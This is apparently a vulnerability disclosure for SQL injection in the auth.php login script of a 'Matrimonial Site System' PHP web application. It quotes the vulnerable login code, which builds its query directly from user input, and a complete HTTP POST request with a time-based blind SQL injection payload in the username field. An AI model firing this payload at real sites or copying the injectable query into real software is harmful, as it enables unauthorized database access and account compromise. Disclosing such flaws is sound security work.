Matrimonial Site System auth.php has Sqlinjection

A SQL injection vulnerability exists in the Matrimonial Site System Auth has Sqlinjection The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

Souce Code:

```php
<?php
session_start();
require_once("../includes/dbconn.php");
$userlevel=$_GET['user'];
// username and password sent from form
$myusername=$_POST['username'];
$mypassword=$_POST['password'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
$mypassword = stripslashes($mypassword);

$sql="SELECT * FROM users WHERE username='$myusername' AND password='$mypassword'";
$result=mysqli_query($conn,$sql);

// Mysqli_num_row is counting table row
$count=mysqli_num_rows($result);
$row=mysqli_fetch_assoc($result);
$id=$row['id'];
// If result matched $myusername and $mypassword, table row must be 1 row
if($count==1){

// Register $myusername, $mypassword and redirect to file "login_success.php"
    $_SESSION['username']= $myusername;
    $_SESSION['id']=$id;
    if($userlevel=='1')
        header("location:../userhome.php?id={$row['id']}");
    else
        header("location:../admin.php");
}
else {
echo "Wrong Username or Password";
}
?>
```

HTTP Attack

```
POST /marry/auth/auth.php?user=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
```

```
Referer: http://192.168.106.128/marry/
Cookie: PHPSESSID=csvnp7l73e6sirl96a5kplj800
Content-Length: 93
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 192.168.106.128
Connection: Keep-alive

op=Log%20in&password=u]H[ww6KrA9F.x-
F&username=0'XOR(if(now()=sysdate()%2Csleep(4)%2C0))XOR'Z
```